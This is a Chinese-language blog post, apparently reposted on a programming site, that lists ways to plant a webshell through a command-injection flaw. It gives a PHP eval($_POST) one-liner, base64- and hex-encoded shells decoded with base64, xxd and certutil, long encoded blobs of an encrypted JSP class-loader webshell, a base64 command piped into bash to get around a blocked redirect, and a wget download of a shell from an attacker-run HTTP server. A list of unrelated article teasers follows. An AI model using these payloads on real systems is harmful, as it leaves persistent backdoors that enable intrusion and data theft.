命令执行漏洞多种写入webshell方式总结

news2024/10/2 12:18:59

命令行写shell注意事项:

1.注意单引号和双引号的区别:

单引号

  • 用单引号 ’ ' 括起来的字符会保留引号内每个字符的字面值

  • 简而言之,shell 将逐字解释单引号内的封闭文本,并且不会插入任何内容,包括变量、反引号、某些 \ 转义符等

  • 单引号中的任何字符都没有特殊含义, 当你不想使用转义字符来更改 shell 脚本解释输入字符串参数方式时,就会很方便

双引号

  • 双引号类似于单引号,只是它允许 shell 解释美元符号 ( $ )、反引号 ( ` )、反斜杠 ( \ ) 和感叹号 ( ! ), 这些字符与双引号一起使用时具有特殊含义,并且在显示之前对其进行评估

  • 双引号可以通过在双引号前加上反斜杠来使用其自身

写入webshell

确认寻找到的路径有写入权限之后,就可以开始写webshell了

1.echo直接写入

linux:

echo '<?php eval($_POST[1]); ?>' > 1.php
  • 在Linux中,需要转义字符主要是 单引号 或者双引号 对于单引号,我们将其替换为\47即可。

windows:

set /p=要写的内容<nul > C:\11.txt
echo 要写的内容 > C:\11.txt
  • 在windows中,批处理需要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^”

  • 直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽

2.转换编码写入

Linux

  • base64方式写入:

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
  • hex方式写入:

hex写入与base64写入相似,在 https://www.107000.com/T-Hex/将webshell编码成hex,使用xxd命令还原

  • 或在使用前将webshell使用xxd生成hex数据

echo '<?php eval($_POST[1]); ?>' |xxd -ps
  • 然后命令注入执行

echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 3.php

windows

在windows中转换方法,是通过certutil进行转换。下面是base64以及hex的转换方式

  • certutil-Base64

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= > 123.txt

再通过certuti进行解码
certutil -f -decode 111.txt C:\\111.jsp
  • certutil-Hex

echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e > 111.txt

再通过certuti进行解码
certutil -decodehex 111.txt C:\\111.jsp

3.绕过重定向符

echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh
  • 重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行

4.远端下载webshell

远端服务器放置webshell,开启http

python -m http.server 8000

目标机器执行

wget http://xx.xx.xxx.xx:8000/xxx.php
  • 可出网且有wget的情况下可采用此方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/369843.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

内存管理框架---Slab(二)

站在Arnold Lu南京大佬的肩膀&#xff0c;俯瞰内存管理之slab 文章目录slab层的由来slab/slub/slobslab层的设计思想slab相关数据结构创建slab描述符分配slab对象释放slab对象销毁缓存在内核栈上的静态分配高端内存的映射永久映射临时映射每个CPU的分配新的每个CPU接口编译时的…

自动驾驶仿真测试介绍

作者 | 楼泽如 上海控安可信软件创新研究院研发工程师 来源 | 鉴源实验室 01 引 言 自动驾驶汽车的兴起&#xff0c;正在重新定义汽车行业。随着自动驾驶技术的发展&#xff0c;自动驾驶汽车将会大大提升交通安全、减少事故发生、减少交通拥堵、提高公路容量等等&#xff0…

我这样实现Promise

一、剖析Promise的基础框架 要实现Promise原理&#xff0c;肯定得先明白其原理。Promsie的基础框架如下&#xff1a; // 挂在原型上的方法&#xff0c;实例对象可以访问并且使用 MyPromise.prototype.then function(onResolved, onRejected) {//.then接收两个函数类型的形参…

Elasticsearch7.8.0版本进阶——文档分析 分析器

目录一、文档分析过程二、分析器三、内置分析器3.1、标准分析器3.2、简单分析器3.3、空格分析器3.4、语言分析器四、分析器使用场景五、分析器的测试示例一、文档分析过程 将一块文本分成适合于倒排索引的独立的词条。将这些词条统一化为标准格式以提高它们的“可搜索性”&…

RFID在产线上的作用

RFID在产线上的作用RFID技术应用于产线监控&#xff0c;可以实现产线的自动控制和检测。RFID读写器每识别一个产品标签&#xff0c;就可以将数据传输到电脑程序中&#xff0c;记录每1件产品的原料和来源、生产线位置、生产过程和库存状况等信息&#xff0c;为企业更好地管理生产…

实现基于国密SM3的密钥派生(KDF)功能

实现基于国密SM3的密钥派生&#xff08;KDF&#xff09;前言KDF 标准基于SM3的kdf实现前言 密钥派生函数&#xff08;KDF&#xff09;&#xff1a;密钥派生函数是指从一个共享的秘密比特串中派生密钥数据&#xff0c;在密钥协商过程中&#xff0c;密钥派生函数作用在密钥交换所…

davis2016评估教程

DAVIS 2016是VOS任务中的一个经典的benchmark&#xff0c;但是一些VOT的算法有时候也可以预测mask&#xff0c;所以也会在上面测一测性能&#xff0c;本次就随手记录一下自己评测的过程&#xff0c;有需要的小伙伴可以往下看。 DAVIS 2016数据集官方项目网站&#xff1a;https:…

【微信小程序】-- 常用的基础内容组件介绍 -- text rich-text progress icon(七)

&#x1f48c; 所属专栏&#xff1a;【微信小程序开发教程】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &#…

获取Windows11开发环境及VirtualBox配置指南

今天我们来讲一讲Windows11开发环境的快速搭建&#xff0c;主要是通过Virtualbox虚拟机安装微软官方预先配置好的Windows11环境包&#xff0c;配置简单&#xff0c;开箱即用。 获取虚拟机打包镜像 微软官方提供了多个系统平台的Windows11虚拟机镜打包镜像&#xff0c;只需要导…

维格云社区版APItable

目录 ✨ 快速开始 🔥 功能特性 💥 应用场景 💞 面向 API 💝 嵌入友好 安装 🧑‍💻 贡献 开发环境 Git 工作流基础 工作约定

[零刻] SER5 Pro 迷你主机:从开箱到安装ESXi+虚拟机

开箱先上图&#xff1a; SER5Pro这个小主机采用了AMD580H的处理器&#xff0c;性能相当强悍&#xff0c;用来做All in one主机非常合适&#xff0c;特别是独有的背面散热系统&#xff0c;可以同时给内存和硬盘散热&#xff0c;在长期运行下散热完全不用担心稳定性&#xff0c;放…

揭穿数据分析的六大谎言

目前许多企业在决策时仍沿用以往的个人经验&#xff0c;没有用数据说话&#xff0c;这在实际决策运行时会出现很多问题。在数据分析行业发展成熟的国家&#xff0c;90%的市场决策和经营决策都是通过数据分析研究确定的。用数据说话&#xff0c;重视定量分析&#xff0c;也逐渐成…

十年测试大佬教你如何从零到一落地接口自动化测试?

目录 为什么要做接口测试 理解接口和接口测试 如何落地接口自动化测试 总结 重点&#xff1a;配套学习资料和视频教学 为什么要做接口测试 测试理念的演变 早些时候&#xff0c;软件研发交付流程大多遵循V型或W型的瀑布模式&#xff0c;这种模式下只有开发编码完成才会提测…

学生白嫖阿里服务器

测试答案&#xff0c;直接CtrlF查找即可 WEB2.0时代黑客攻击的主要目标集中在&#xff08;A&#xff09; A. 互联网应用 B. 穿透防火墙 C. 破坏操作系统 D. 计算机硬件 以下常见的通讯协议中&#xff0c;不属于应用层协议的有&#xff08;B&#xff09; A. FTP B. TCP/IP C. HT…

腾讯云服务器部署onnxruntime-gpu经验总结

前言 有项目需要用onnxruntime-gpu进行推理&#xff0c;原以为像windows一样在已经有cuda的情况下直接安装onnxruntime-gpu即可&#xff0c;却没想到这么麻烦&#xff0c;故分享此文帮助后来者。 环境 gpu计算型英伟达v100云服务器。 在选择安装系统时已经选择了最高版本如下…

嵌入式 STM32 实现STemwin移植+修改其配置文件,驱动LCD显示文本 (含源码,建议收藏)

目录 一、STemwin 简介 二、源码下载 1、在移植STemwin源码之前&#xff0c;需要一个已经具备LCD读写&#xff0c;填充指定颜色等函数功能的一个工程&#xff1b; 2、STemwin 3、源码下载 三、STemwin移植 1、解压源码路径 2、STemwin文件介绍 四、修改配置文件&…

【PyTorch】教程:DCGAN

DCGAN 本教程将通过一个示例来介绍 DCGAN。 我将训练一个生成对抗网络 &#xff08;GAN&#xff09; &#xff0c;在向其展示许多真实名人的照片后生成新的名人。这里大部分代码来自于 pytorch/examples 。本文档针对这些实现进行全面解释&#xff0c;并阐述该模型的工作方式和…

在windows搭建Redis集群并整合入Springboot项目

搭建集群配置规划Redis集群编写bat来启动每个redis服务安装Ruby安装Redis的Ruby驱动出现错误镜像过期SSL证书过期安装集群脚本redis-trib启动每个节点并执行集群构建脚本测试搭建是否成功配置springboot项目中配置规划Redis集群 我们搭建三个节点的集群&#xff0c;每个节点有…

骨传导耳机推荐哪款好,列举几款是市面上热销的骨传导耳机

​骨传导耳机是一种新型的耳机类型&#xff0c;通过震动和声音将振动传到了耳道外&#xff0c;对耳道不会产生损伤&#xff0c;能够保护听力。相比于传统耳机的优势有很多&#xff0c;比如运动时佩戴更加稳固&#xff0c;也可以在听歌时与人交谈。但在市面上的骨传导耳机款式可…

无重叠区间-力扣435-java贪心策略

一、题目描述给定一个区间的集合 intervals &#xff0c;其中 intervals[i] [starti, endi] 。返回 需要移除区间的最小数量&#xff0c;使剩余区间互不重叠 。示例 1:输入: intervals [[1,2],[2,3],[3,4],[1,3]]输出: 1解释: 移除 [1,3] 后&#xff0c;剩下的区间没有重叠。…